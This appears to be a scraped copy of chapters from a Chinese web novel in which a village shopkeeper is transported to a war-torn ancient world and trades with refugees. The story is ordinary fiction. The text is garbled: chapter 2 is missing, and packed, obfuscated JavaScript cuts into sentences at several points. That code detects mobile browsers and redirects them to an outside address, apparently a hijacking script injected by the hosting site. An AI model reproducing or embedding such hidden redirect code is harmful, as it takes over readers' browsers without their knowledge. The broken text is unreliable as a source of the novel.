《经营超市，但是万界供应商》 1. 第 1 章 春夏之际的清晨。 云雾缭绕的山巅之上，一栋三层高的自建房悄然出现。 湿热蒸郁的瘴气从四面八方逼近，压得空气都黏稠了几分。 突然，一团白光自房中亮起，驱散了四周的迷瘴。 透明的玻璃门后，是一间小超市。 周梨双手撑在收银台上，伸长了脖子向外张望着。 虽然周围大雾弥漫，可也能分辨出这里是一片草原。 她嘟囔：“跨位面贸易的第一站就是草原吗？” 数周前。 正投身考公大业的周梨，被她母亲周好一个电话叫回了老家，接手了村里那间超市。 说是超市，其实是村口杂货店。 店面是自家的180平自建房——其中60平方为违规建造的活动板房仓库。 一楼开杂货店，二楼和三楼是住宅。 周好把超市丢给周梨后，就以扩大超市规模为由，跑去了外地调研考察。 周梨便这么稀里糊涂地接手了小超市。 随后又稀里糊涂地被“万界贸易系统”绑定，加入了开拓跨位面贸易（简称“跨位贸”）业务的行列之中。 并且在今天，带着小超市开始了第一次跨位面贸易。 第一个有待发展“跨位贸”业务的异位面世界是一个古代世界。 这个世界有着和华国相似的文明，除了历史人物、朝代名称不一样，其文化、政治体制、风俗习惯等方面，都跟华国的五代十国时期高度相似。 也就是说，这个世界目前处于战乱频发、民生凋敝的时期。 不过，这跟周梨的关系不大。 她的任务只有把小超市经营好，完成系统的贸易指标，就可以回到原来的世界。 * 大越，骑田岭，阳山关古道。 一支南下的流民队伍与一群北上的流民不期而遇了。 双方都停下了步伐，面面相觑。 “你们是从哪里来？”北上的流民中，为首的男人操着一口土话发问。 南下的流民有百余人，但主事的是一个年过五旬的老翁。 他从牛车上下来，用生疏的土语回答：“我们是楚人，为躲避战乱而来。你们又是因何离开故土？” 大越流民头子叹气：“苛捐杂税逼得我们走投无路，不得不背井离乡，往北寻找生路。” 老翁大惊：“原以为大越没有战事，我等可以在这边安置，不曾想形势也这么严峻。” 流民队伍顿时哗然。 他们拖家带口奔走了一千多里路。 以为能过上安稳的日子，不用再担心哪天出门死于刀剑之下。 没想到这里是另一处地狱！ 当即有人号啕大哭起来。 这一路，他们失去了太多。 食物吃完，钱财散尽，儿女也发卖得差不多了。 什么苦都吃了，希望却没有了。 绝望的气氛在流民队伍中蔓延开来。 大抵是心中不痛快，老翁对大越流民说：“你们也不必北上了，如今楚地战火蔓延，江淮还发生了干旱，各地也横征暴敛，没有安宁之地。” 大越流民信了老翁的话，因为但凡有个能安身立命的地方，这群楚地的流民也不至于继续南下了。 “这可如何是好？”大越流民的队伍里也出现了丧气的声音。 这时，有人叫了一声：“我们干脆躲进这深山老林中。” 大越多丘陵。 这骑田岭内虽然荒无人烟，却并非没有宜居的地方。 躲进山谷里，可以建造城寨，以狩猎、采集为生，那些并不陡峭的山坡还能开发梯田。 这里远离州县，那些征收赋税的官吏也不会找过来。 此话为绝望的流民们带来了一丝希望。 有人有顾虑：“可是，这山中多瘴气。” “大越哪里没有瘴气？” 祖祖辈辈皆生长于越地的人，有多少没有遭受过瘴疠之苦的？ 他们早已习惯。 闻言，大越流民纷纷交头接耳商讨起来。 楚地的流民则略显犹豫。 这大越的环境比他们想象的恶劣。 到底是要继续南下，还是留在这里，或干脆返回楚地，他们还需仔细商议。 暂时商议不出什么结果，天色也不早了，他们便在附近的空地生火，准备过夜。 大越的流民亦是如此。 不过他们选择安顿休息的地方与楚地的流民隔着数百米。 防人之心不可无。 住得近了，只怕对方夜里要来杀他们的牛，偷盗他们的粮食和钱财。 … 两支流民队伍各自安顿好，生好火，就开始去找水源、野果、野菜。 阳山关古道是官道，也是进出大越的必经之路。 过去无数人来来往往，附近能吃的野菜果子、能抓的野兽都被薅没了。 因而，想要采集野菜，还得往丛林深处去才行。 山林中危险重重，妇孺都被留在大本营，青壮年则留下几人看护，其余的都结伴进了山。 楚人中，一个男装打扮的少女抓着一把斧子，跟上了进山的队伍。 有人看见了她，跟同伴挤了挤眼。 同伴会意，故意高声嘲笑：“有些娘儿们以为穿上了男装便成了男人？真是不知死活。” 另一人附和：“等会儿遇到大虫，怕不是要吓哭哦！” 突然，那人朝着某个地方大叫了一声：“那是什么？” 少女心中一紧，立马提起斧头戒备。 然而她定睛一看，并没有发现什么异动。 那两人看到她那紧张兮兮的模样，乐得哈哈大笑。 少女方知被他们捉弄了。 她面沉如水，不愿意再跟他们同行，往另一个方向去了。 那两人见她走开了，当即冷哼了一声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333616|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们虽然跟少女同在流民队伍里，相互之间却并不认识。 少女是中途加入流民队伍的。 虽然男装打扮，但明眼人一看就知道她是女子。 面对一个来路不明，孤身一人的少女，有人投以善意，也有人投以恶意。 面对善意，少女始终保持警惕； 面对恶意，少女更是凶狠反击； 这一路，她手里的斧头至少沾了三条人命。 楚人不喜欢桀骜危险的她，又赶不走她，只能言语讥讽一番，寻找一丝快意。 如今见她进入了丛林腹地，只盼她被野兽咬死。 * 少女在林中探索了许久，既没遇到动物，也没摘到野果野菜。 林中的光线愈发昏暗，她也饿得快提不动手中的斧头了。 距离她上次进食，已经是一天前的事。 这一天，她光靠喝水充饥了。 如果还找不到食物…… 她把目光移向林中的树皮。 就在这时，她眼角的余光瞥到一只野兔迅速跑过。 少女提起精神追了过去。 她没有发觉山中雾气腾升，渐渐笼罩了四方。 待她回过神时，她已经彻底辩不清楚方位。 “野兔也没抓着，还迷失了方向……昭长雁呀昭长雁，只怕天要亡你了。”少女苦笑。 这一路逃亡，她不敢睡觉，只能假寐。 疲于奔命，又缺衣少食。 如今，她身心俱疲，饿得眼冒金星。 她自暴自弃地丢下斧头，倚着一棵树坐下。 精疲力尽的她很快便昏睡了过去。 “雁儿……” “雁儿，醒一醒。” 听到声音，昭长雁“睁”开了眼睛。 她看到了她的阿娘在呼唤她。 “阿娘！”昭长雁惊喜地扑过去，“阿娘，我好想你。” 然而，她扑了空。 她的阿娘依旧穿着那身铠甲，在深不见底的深渊边沿静静地看着她：“雁儿，活下去。” “阿娘！”昭长雁奔过去，却发现自己无论怎么跑都接近不了她阿娘半分。 突然，她一脚踏空，似要坠入深渊。 就在这时，她猛地惊醒。 周围天色已经昏暗。 没有深渊，更没有她阿娘的身影。 她感觉脸上湿漉漉的，一抹，原来她早已泪流满面。 … 昭长雁平复了下心情，起身准备找一个地方生火。 忽然，她看到了山上似有光亮起。 难道是那些进山觅食的人？ 她心中大定，急忙沿着一条极为不起眼的小路，朝着山顶走去。 走了许久，她的身上被蚊虫咬出了一个又一个包，才终于来到了光源处。 这一眼，把她惊呆在了原地。 市超活生好。 ——那是什么？ 3. 第 3 章 周梨把青鱼石挂上系统拍卖行，上面自动出现了这块青鱼石的相关信息。 【青鱼石】 年份：15年 产出日期：公元943年 持有人：昭长雁（南楚宜章县君） 起始价：8800元起（建议） 一口价：12800元（建议） …… 周梨瞟了眼昭长雁。 这小姑娘不容小觑呀。 虽然她之前通过昭长雁的谈吐，隐约觉得对方不是普通的流民，没想到居然大有来头。 隐瞒身世混入流民队伍中，想来是遭遇了什么变故。 不过，这跟周梨的关系不大。 周梨没有拆穿她，默默地设置好价格。 她刚挂上去，拍卖行就有人竞价了。 当拍卖价格来到一万元的时候，有人果断出手，用一口价买下了它。 这个过程看似耗费了很长时间，实际只过去了几分钟。 周梨交给昭长雁一张超市会员卡，说：“这块鱼枕石卖出了一万两千八百元钱，扣去一百九十二元手续费，剩下一万两千六百零八元都在这张卡里。以后来买东西出示这张卡就行了。” 在昭长雁的心中，这块鱼枕石是无价之宝。 只卖了一万多钱，她是有些许失望的。 可当她知道这超市的物价后，她瞬间觉得这个价格太划算了！ 要知道，如今楚国的米价已经去到了一千两百文一斗（今12斤）。 这里的精米，一斤居然只要三钱！ 一包细盐约八两（半斤）重，也只需两钱！ 自古以来，粮食、绢布、盐铁，都是稳定民心的关键。 甚至，它们能决定国之存亡。 尤其是盐和铁。 朝廷只准官卖，便是要以此控制地方百姓，避免有人作乱。 如能掌握大量的粮食与盐…… 昭长雁心跳加速，呼吸也变得粗重起来。 然而很快，她就平复了心情。 且不说她没有足够的钱从周梨这儿购买大量粮食与盐。 就算她有钱，短时间内也拉不起一支军队回去报仇。 还是得徐徐图之。 昭长雁摩挲着会员卡，问：“这些钱必须要现在用完吗？” 周梨说：“在我离开前，这些钱随时都能用。” 昭长雁心中一紧，关切道：“小老板何时会离开？” “这个不好说。不过，就算我暂时离开了，以后也还是会回来的，不用担心里面的钱没了。实在是担心，也可以申请退还里面的余额。我会在离开前，将余额换成等价的货物给你的。” 都要开拓万界的贸易市场了，哪有只做一次跨位面贸易的道理？ 系统说只要完成了贸易指标就能回家，是指她可以结束这一次的贸易之旅。 不代表完成这次的贸易指标后，就要跟系统解除绑定。 只要她想，还是可以随时回来的。 昭长雁松了口气。 如果小老板离开就不会再回来，她是绝对不会让人知道这家超市的存在的。——她担心货物有限，被更多人知道超市的存在，就会来跟她抢购这里的东西。 昭长雁问：“小老板，请问这里有什么食物是不需要烹饪就能充饥的？” 周梨将她带到食品区，说：“这些面包可以充饥；这里的零食开袋即食；还有这些方便面，用热水泡软就能食用。我这里提供免费热水……” “好生活超市”主要经营食品与日常生活用品。 食品有五大类：生鲜食品、冷冻食品、休闲食品、粮油，以及饮料。 生鲜食品只有从村里收了卖给路过游客的鸡蛋，没有肉禽、蔬果这些。 毕竟村里家家户户都养鸡种菜，想吃新鲜蔬果还可以到镇上的菜市场买。 在小超市卖肉禽、蔬果只会亏本。 日用品有洗护用品、清洁用品、床上用品、家居用品、办公用品、衣帽鞋等。 …… 昭长雁听到方便面的价格，十分吃惊：“这么轻的面，居然要两钱五分一包！？” 一斤精米，她可以吃五顿，一天两顿能吃两三天。 一包面最多只能吃两顿。 那些面包也不便宜，最便宜的都要四钱…… 至于开袋即食的零食就更贵了。 计较半天，发现还是买米划算。 周梨看昭长雁这么纠结，她跑到仓库搬出来几箱临期食品。 “这个蜂蜜小面包，9块钱36个。” 这面包是某零食厂商送的，为的是跟小超市合作搞促销活动，满108元即送一箱小面包。 促销活动结束，就剩了几箱。 因为实在是太难吃了，周梨没有摆出来卖。 面包保质期40天，如今还有12天便过期了。 如果昭长雁不在意口味，只想用最低的价格解决温饱问题，那这个小面包正合适她。 这个价格果然打动了昭长雁，她毫不犹豫地拿下了一箱小面包。 小面包不大，但十分松软且带甜味，在昭长雁看来非常美味。 “这包子真好吃！” 许是刚才喝了可乐，昭长雁只吃一个就满足了。 她看着剩下的小面包，略带希冀地问：“小老板，我可以将剩余的包子寄存在你这儿吗？” 如果把面包带回去，肯定会被那些流民抢走。 周梨说：“可以，但我不保证不会被老鼠偷吃。” 超市有系统提供的防护罩，但防护罩防护的是超市和她。 这面包已经卖出去了，哪怕寄存在她这里，也不算超市的商品，因此不在保护之列。 昭长雁由衷地感谢：“多谢小老板。” 这里这么干净，她觉得肯定不会有老鼠。 昭长雁又问：“小老板，我能在外面歇息吗？” 周梨点点头：“你请便，只是安全问题，我也无法保障。” “只要能在外面借您这里的灯一照，我就心满意足、不胜感激了，不敢要求小老板保护我。” 昭长雁说着，提起斧头往外走。 她砍了不少树枝，又捡了些不知名动物的干粪便，然后在距离超市两米的地方生起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333618|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火。 周梨看真人版野外求生看了好会儿，终于踏出了超市门口。 她说：“这山里蚊虫多，山下丛林有山蚂蝗，山上草地有水蛭，你不怕它们又盯上你？” 昭长雁一顿。 她被山蚂蝗吸附过的地方至今还疼着。 ——当时用盐把山蚂蝗弄下来，不小心把盐弄到伤口上了，疼得那叫一个钻心。 周梨趁机推荐蚊帐、草席和杀虫气雾剂，说：“用树枝把蚊帐支起来，在里面铺张草席，再用杀虫剂往周围喷一喷，至少两个小时……一两个时辰不会有蚊虫靠近你。” 最小尺寸的蚊帐13元一顶、草席15一张，杀虫剂是15元一瓶。 看在她是头一位顾客兼会员的份上，周梨给她打了8折。 这个价格，昭长雁咬咬牙就买了。 支起蚊帐，又喷完杀虫剂，耳边的嗡嗡声果然少了。 “记住，杀虫剂不能对着人喷，万一喷到手上，得用香皂洗手。否则用手拿食物吃进嘴里，是会出事的……”周梨叮嘱。 昭长雁若有所思地摩挲着杀虫剂。 这“雾气”似乎有毒性。 可惜气味太浓了，无法用于暗杀。 但是作战的时候，可以趁对手不备，往对方的脸上喷，使其短时间内失去行动能力…… 布置好小床，昭长雁又回到超市购置生活用品。 昭长雁：“这桶是用什么做的？” 周梨：“塑料。” 昭长雁：“塑料是什么？” 周梨敲了敲塑料桶：“这是塑料。” 昭长雁：…… 她转头拿起一个不锈钢盆，问：“这脸盆怎么有银的色泽，比铁硬又比铁轻？” 周梨：“这是不锈钢。” “不会生锈的钢？” “不是不会，而是不容易生锈。” “……” 逛到最后，周梨口干舌燥，生出了找个导购的念头。 不然以后每个古人来购物，她都得解说一遍，多累。 找导购之前，她还得打印一份繁体字版本的价格标签…… 昭长雁花23块钱买了一个直径40厘米的不锈钢盆，又花3块买了一条小毛巾。 她厚着脸皮向周梨讨了点热水，又去卫生间装了半盆冷水，然后借用卫生间擦拭身子。 等她从卫生间出来，伤口似乎没之前那么疼了。 周梨见昭长雁还穿着那身脏衣服，就推销起了超市里滞销的旧款衣服。 “我这里有衣物出售，你要不要换身干净点的衣服？” 昭长雁摇头拒绝周梨的推销。 打扮得太干净容易被人盯上。 她现在的首要目标是活下去。 改善生活条件得等她足够强大再说。 周梨说：“行吧，如果你想要换干净的贴身衣物，可以跟我说，我这儿也有卖。” …… 到了晚上十点，超市要关门了。 周梨看了眼被蚊帐罩住的小床。 她不清楚昭长雁是否已经入眠，但仍旧给对方留了盏超市外的灯。 4. 第 4 章 昭长雁并没有睡着。 自从开始逃亡，她便没睡过一个安稳觉。 如今又有奇遇，心头正火热，自然更难入眠。 她琢磨着要如何把握住这番机遇，发展势力报仇雪恨。 想到那些对她虎视眈眈的流民，又计划着如何利用“小老板”来教训他们。 夜色越来越深，雾气、瘴疠之气在山岭间弥漫。 昭长雁听到了蚊子的嗡嗡声，但是却没有被叮咬的感觉。 风餐露宿这么久，她头一回觉得夜里并不难熬。 与此同时，阳山关古道旁。 大部分流民往地上铺了张席子，就此睡了过去。 几个负责守夜的流民蹲在篝火旁，低声说着话。 忽然，老翁起身来到他们身旁。 “村长？这么晚了，怎么还没睡？”守夜的流民问。 “陈三，你告诉我，常七娘呢？”老翁压低了声音问。 几个守夜的流民不动声色地对视了一眼。 陈三故作迷茫地问：“常七娘？她不在吗？” 老翁盯着他：“你们不要装蒜，我看到常七娘跟着你们进山了。” 陈三说：“村长，你看错了吧？” “我虽然年过五旬，但还不至于老眼昏花。” 众人见瞒不下去，只好说：“我的确在山中看到了她，可她没有跟我们一路，我也不知道她去哪里了。” 老翁不相信，怀疑是他们把人给害了。 陈三没好气地说：“就那娘儿们凶狠的劲，我们也不能对她做什么呀！” 老翁似乎想起了什么，神色迟疑。 陈三撇嘴：“再说，这样一个来历不明的丫头，是死是活都跟我们没关系。谁知道她是不是逃犯？继续跟着我们，万一把我们连累了呢？我知道村长想捡她回去当孙媳妇，可陈宝也得降得住她才行！” 老翁似乎是被戳中了心事，沉默了。 半晌，他叹了口气：“罢了，都是命。” * 翌日，天色微亮。 流民们都起来了。 楚人这边，老翁决定继续带着族人、村民南下。 大越的流民则决定在附近建寨定居。 双方准备就此别过。 突然，林中跑出一道身影。 楚人认出了她。 “常七娘！？” 陈三瞪大了眼睛。 昭长雁居然没死！？ 怎么可能？ 一介女流，怎么可能孤身一人在深山老林中平安地度过夜晚？ 老翁率先反应过来：“常七娘，你去哪里了？” 昭长雁瞥见在不远处竖着耳朵关注八卦的大越人。 她故意惊喜地喊：“我发现了神女！” 那一瞬间，众人的反应十分精彩。 有人质疑；有人忍不住靠近，想要仔细倾听；有人迷茫；有人讥讽失望…… 昭长雁说的是土语，大越流民听懂了。 大越流民头子三步并作两步来到昭长雁面前。 “什么神女？在哪里？” 他昨晚守夜时，听见了楚人在说这男装少女进山后没有出来——楚地因奉中原王朝为正统的缘故，流行中原官话。只有靠近大越这边，生活着不少土人，所以主要用土话和客家话交流。但楚人不知，他其实也懂中原官话。 他也认为少女凶多吉少。 不曾想，她竟还活着，且另有奇遇。 昭长雁顺着他的问题回答：“就在山上！有好多吃的，还有水。我昨夜就是在神女的庇护下安然躲过猛兽的。” 为了验证自己的话，她拿出了蜂蜜小面包：“你们瞧，这就是神女予我的包子。” 她进山时除了一把斧头，什么都没有。 如今凭空多出大家谁也没见过的包子，可信度立马提高几个点。 众人用目光锁住她手上的包子，目光灼灼、心头火热。 已经饿极了的楚人冲上前：“神女在哪里，快带我们过去！” 陈三几人在后面嘀咕：“会不会有诈？” “不太可能，她就算想要坑害我们，也得看看对上我们这么多人是否有优势。” 陈三闻言，也觉得有道理。 这时，大越之人提出要跟昭长雁上山。 楚人怕落后一步，也急忙让昭长雁带路。 不过，山里毕竟危险，他们依旧只安排身强体壮的男人进山。 大越人这边，因常年生活在瘴疠之地，他们并不怕山中复杂的环境。 所以一群人浩浩荡荡地进山寻仙去了。 昭长雁出来的时候沿途做了记号，回去便快了许多。 只翻越两个山头，便看见了伫立在前方山头的“高楼”。 昭长雁指着那边说：“那便是神女的洞府。” 原本有些疲惫的众人，立马跟打了鸡血一样，纷纷加快步伐。 “我们快见到神女了。”在长辈的安抚下，那些被树叶刮伤、被山蚂蝗弄哭的孩童，哭声也渐渐小了。 终于，绕过一面悬崖峭壁后，一栋三层高的建筑完整地出现在他们的眼前。 * 超市的营业时间是早上8:00—22:00。 如今才7点多。 周梨刚起床，准备到楼下超市拿一包速冻饺子煮来吃。 她刚开灯，便看到了超市外密密麻麻地围着一群人。 每个人都面黄肌瘦，虎视眈眈地透过玻璃窗盯着她。 “我——”周梨吓得下意识爆国粹，但凭着多年的素养，她勉强把脏话咽了回去。 她对系统说：“我以为你一声不吭带我穿越到了丧尸位面。” 系统：“……系统不能擅自进行位面迁跃，如有特殊情况，也必须经过你的同意。” 周梨问：“那外面那群……人是怎么回事？” 系统没有给明确的答复：“或许与昨夜的顾客有关联。” 周梨闻言，过去打开了门。 她这个举动反倒把外面的流民吓得频频后退。 众人打量着她，有好奇的目光，也有探究和畏惧。 甚至有人因为她看起来跟普通的女子无异，从而面露轻视。 但心思各异的众人都不想当出头鸟。 直到周梨开口：“超市还没营业，想买东西，请先准备钱财或值钱之物。” 流民听不懂什么叫“超市”，但听懂了后面那半句话。 只是他们不明白，“神女”为什么会跟买卖挂钩？ 陈三低声与同伴说：“我看那压根不是什么神女，只是个卖杂货的货娘。” “大兄，我好饿。” “我看到了里面有包子。” “那是琉璃吗？怎会有如此透明光滑的琉璃？” “用琉璃做门，真的奢华！” 流民们交头接耳、议论纷纷。 周梨没有在意这些吵杂的声音。 她拿起一包速冻饺子上楼煮食。 很快，食物的香味从二楼飘了下来。 “娘，好香呀。”大越的孩童懵懂地拽着母亲的衣袖。 “再等等，神女说要开始营业才能买东西。”女人说。 “那什么时候才营业啊？”孩童不懂什么叫“营业”，只关心什么时候能买吃的。 流民等了许久，人心渐渐浮动。 陈三一伙人对视了一眼，决定趁周梨不在进去抢东西！ 他们扬声怂恿众人：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333619|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然是神女，那就该普度众生，怎么能收取钱财呢？只怕是假借神女之名行骗圈钱的商贾罢了。里面的东西那么多，不如我们合力分了……” 这话说得十分没有道理。 可是在这吃人的乱世，道理不如拳头有用，谁还讲道理？ 况且流民们本就没什么钱财，这“超市”的东西一看就很贵，他们如何买得起？ 兴许还要跟那些奸商一样，让他们卖儿鬻女。 他们在看到里面有食物的那一刻就生出了抢夺的心思。 只是碍于这么多人，不敢表露出来罢了。 如今有人当牵头之人，他们自然乐见其成。 于是渐渐有不少人开始响应陈三。 大越那边。 有人扯了扯领头壮汉的衣袖：“族长，我们也……” “族长”的目光在人群中梭巡。 他发现“常七娘”这个最先和“神女”接触的人并没有冒头。 她把众人领来后，便一直隐身在人群之后。 他警惕地对族人说：“都别轻举妄动。” “里面的东西被楚人抢光了怎么办？” “你要是违背我的命令参与抢夺，我立马将你逐出窦氏。”族长窦大郎恶狠狠地说。 那人只好熄了参与抢劫的心思。 楚人那边，被陈三怂恿的人有十几个。 陈三模仿周梨推门的动作，跑去推拉玻璃门。 门口的监控传出了冰冷无情的声音：“非营业时间。” 众人被这道声音吓了一跳。 陈三等人环顾四周，蹙眉：“别装神弄鬼！” 他恶向胆边生，直接拿出刀斧朝门上砸。 碰撞之处火光四射。 然而玻璃门完好无缺，反倒是他的斧子，竟然出现了一个豁口。 那道声音又出现了：“检测到暴力破坏行为，判定非法入侵。” 话刚落音，一股强烈的风从地下蹿出，陈三被吹得脚离了地。 更要命的是，他感觉自己有些窒息，喘不上气来。 他拼命地挣扎，朝着人群伸手求救。 他的兄弟急忙伸手抓住他，结果连带着他们也被吹飞，周遭的空气仿佛被抽空了，他们也无法呼吸了。 等到他们脸色发绀，裤子也被尿湿，这股风才突然消失。 他们重重地摔在地上，毫无反应。 看见这异变，有人惊吓出声：“山鬼吃人了！” 这时，看戏看过瘾的昭长雁走出来怒斥：“胡说八道，这是神女略施法术，给这些心怀不轨之人一点小惩罚。你说神女吃人，那是对神女的不敬和侮辱！” 祸从口出，众人急忙闭嘴。 窦大郎深深地看了昭长雁一眼，哪里还不明白，这小娘子在借助神女之力惩戒陈三等人？ 大越人无比庆幸自己听了窦大郎的劝告，没有贸然出手。 …… 在二楼吃着早饭的周梨并不知晓流民的闹腾。 她吃完饺子，又把身上的睡衣换下来，这才下楼去开门营业。 只是，她怎么觉得气氛怪怪的？ 流民们都躲得远远的，还有几个人躺在地上，大口大口地喘息。 这是哮喘犯了？ 她这里可没有药。 打开门，昭长雁是第一个走进来的。 “小老板。” 周梨问：“这些就是你口中的同乡？” 昭长雁颔首，又指了指躺在地上的人：“这些人不长眼，试图冲撞小老板。幸好小老板威武，严惩了他们。” 周梨：…… 原来这俩不是病了，是想要对超市不利，触发了超市的防护机制。 她还是把人性想得太善良了。 5. 第 5 章 周梨问系统：“他们怎么样了，有生命危险吗？” 系统说：“只是有些缺氧，半个小时左右就能缓过来了。” 周梨闻言，便没再管他们。 她对昭长雁说：“不如你来给我当导购。” 昭长雁不解：“导购？” “介绍里面的货物及价格，还有会员卡的相关事宜。工钱一天50块，再包一顿饭。不过这份工作只是暂时的，等大家都了解了超市的规矩，就不需要导购了。” 昭长雁明白了。 她欣喜地应下：“我当！” * 流民们被陈三兄弟的遭遇吓到了。 即便他们的眼神依旧贪婪，但慑于神仙手段，没有人敢轻举妄动。 昭长雁全须全尾地出来后，窦大郎迎了上去：“小娘子，神女可是震怒了？” 他不清楚“神女”还有没有别的禁忌，贸然进去容易坏事。 “常七娘”既然跟“神女”打过交道，还能全须全尾地出来，想必她知道不少规矩。 昭长雁说：“神女没有迁怒大家，只是神女有些规矩，大家必须要遵守。” 众人竖起耳朵。 “第一，神女神通广大，大家别想着在神女的眼皮子底下行窃、抢劫、打砸。如有以上行径，陈三他们的下场就是你们的下场。 “第二，此处为神女的洞府，名‘好生活超市’。但是神女不喜别人喊她神女，故而大家可以尊称她‘小老板’。 “第三，超市之内的物什皆得用钱财买卖。关于这一点，方才有人说‘神女就该普度众生’。此话不对。小老板只是暂时在此间游历修行，凡世间的种种天灾人祸皆非她的因果，如果她免费赠予大家吃食，便会沾上因果。 “因此，小老板决定将以售卖货物的方式帮助大家，银货两讫之时，便是因果了结之时。” 周梨尬得脚趾能抠穿超市地板。 她心想：“昭长雁这么会造势，不去宣传口真是可惜了。” 不过昭长雁本身就是南楚宗室女，出身显赫自带气场，说出来的话不管有没有道理，都能让人信服三分。 陈三的家人愤恨地嘀咕：“说这么多，跟商贾又有什么区别？我们哪儿来的钱财？” 昭长雁听见了，她问众人：“大家可知如今各地的粮价是多少？” 窦大郎说：“大越韶州粮价七百文一斗。” 楚人说：“岳州粮价一千八百钱一斗。” 大越人大惊：“一千八百钱一斗！？” 难怪楚人要继续南下。 对比楚地，大越的苛捐杂税似乎都不算事了？ 楚人神色难堪。 昭长雁没有在意楚人和越人的攀比，说：“小老板这儿，精细的大白米才三文钱一斤，一斗不过三十六文。” 众人皆惊愕。 下一秒，他们蜂拥而至，似要将超市门给挤破。 昭长雁说：“你们忘了小老板的规矩和陈三他们的下场吗？” 他们一激灵，立马停止向前涌动。 昭长雁继续扯着周梨的大旗给流民们立规矩。 “小老板跟我们之间没有因果，我们也不曾向她祭祀请愿，因此她随时都会离去。你们若无法遵守小老板的规则，现在就可以先行离去。”她这话是对着陈三的家人说的。 陈三的家人悻悻地看着她，坚决不肯离去。 昭长雁又说：“既然没有人主动离去，那我便当大家默认了会遵守这儿的禁忌。接下来，我将代替小老板，给予大家一些指导—— “小老板知晓大家贫苦困顿，身上未必有钱，所以允许大家以物置钱。这钱不是普通的钱，而是神界的钱。大家换了钱后，会存进仙器里——一张这样的卡。 “只要有了这张卡，就能在超市里购买你们想要的东西。 “当然，前提是你们卡里的钱足够。” 流民们好奇地打量昭长雁手里的会员卡。 “这就是仙器？” “这里能存多少钱？” 昭长雁说：“多少钱都可以。” 流民很快就意识到了这卡的便利之处。 他们出门买东西的时候，往往需要携带大量的铜钱。 铜钱又沉又占地方，携带极为不便。 有些时候，他们会携带等价的绢布出门，到了集市再剪掉绢布来置换货物。 但是，不管是携带铜钱还是绢布，都不如携带这样一张卡便捷！ 昭长雁说：“接下来，你们可以商量要用什么东西来换钱。商量好了，便排队入内，找神女置换。” 越人窦大郎是最快站出来的。 他拿出了一张虎皮，毕恭毕敬地呈给周梨。 周梨让系统扫描摆上拍卖行。 【雌虎皮】 年份：1年 产出日期：公元957年 持有人：窦大郎 起始价：1000元起（建议） 一口价：3000元（建议） [注：老虎是珍稀濒危野生动物，拍卖行严格限制老虎及其制品拍卖出售。] 周梨注意到是“限制”而非“禁止”。 也就是说，拍卖行并不禁止拍卖虎皮，但不提倡。 所以对比青鱼石，虎皮的价格压得很低。 周梨对昭长雁说：“上天有好生之德，这皮子只能置换一千钱。” 昭长雁惊诧于贵族追捧的虎皮，在小老板这儿竟只值一千钱。 而那句“上天有好生之德”似乎正是原因所在。 昭长雁知道了，她问窦大郎：“你何不将这虎皮卖予权贵？” 窦大郎说：“官吏横征暴敛，我若是拿出这虎皮，便不是卖，而是赠送了。” 他顿了下，又问：“神女可是不喜杀生？” 在他听来，周梨的口音是中原雅话，他虽然也能听懂，却仍打算向昭长雁求证。 昭长雁颔首。 窦大郎颇为为难：“可我最值钱的东西只有这个了。” 昭长雁说：“这个能换一千钱，端看你如何取舍。” 窦大郎便回去跟自己的家人商量。 楚人见窦大郎离开，便抢先一步挤进超市里。 “神、小老板，我有东西要换。”楚人结结巴巴地说。 她从头上拔下一支发簪。 【黄花梨木花头簪】 年份：117年 产出日期：公元841年 持有人：乔四娘 起始价：2000元起（建议） 一口价：3000元（建议） 乔四娘有些忐忑。 因为这只是一支木簪，既非官作，也不是名匠之作。 它是她阿娘的嫁妆，据说是祖上传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333620|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来的，有些年头了。 她不奢望能换许多钱，够她解决一个月的温饱就足够了。 她略带希冀地看向周梨。 周梨似乎在发呆。 过了会儿，她才说：“这木簪价值3000钱，要扣45手续费，剩余2955是否要兑换？” 听了昭长雁的转述，乔四娘先是一愣，巨大的惊喜落到她的头上，她兴奋地道：“是，神女！” 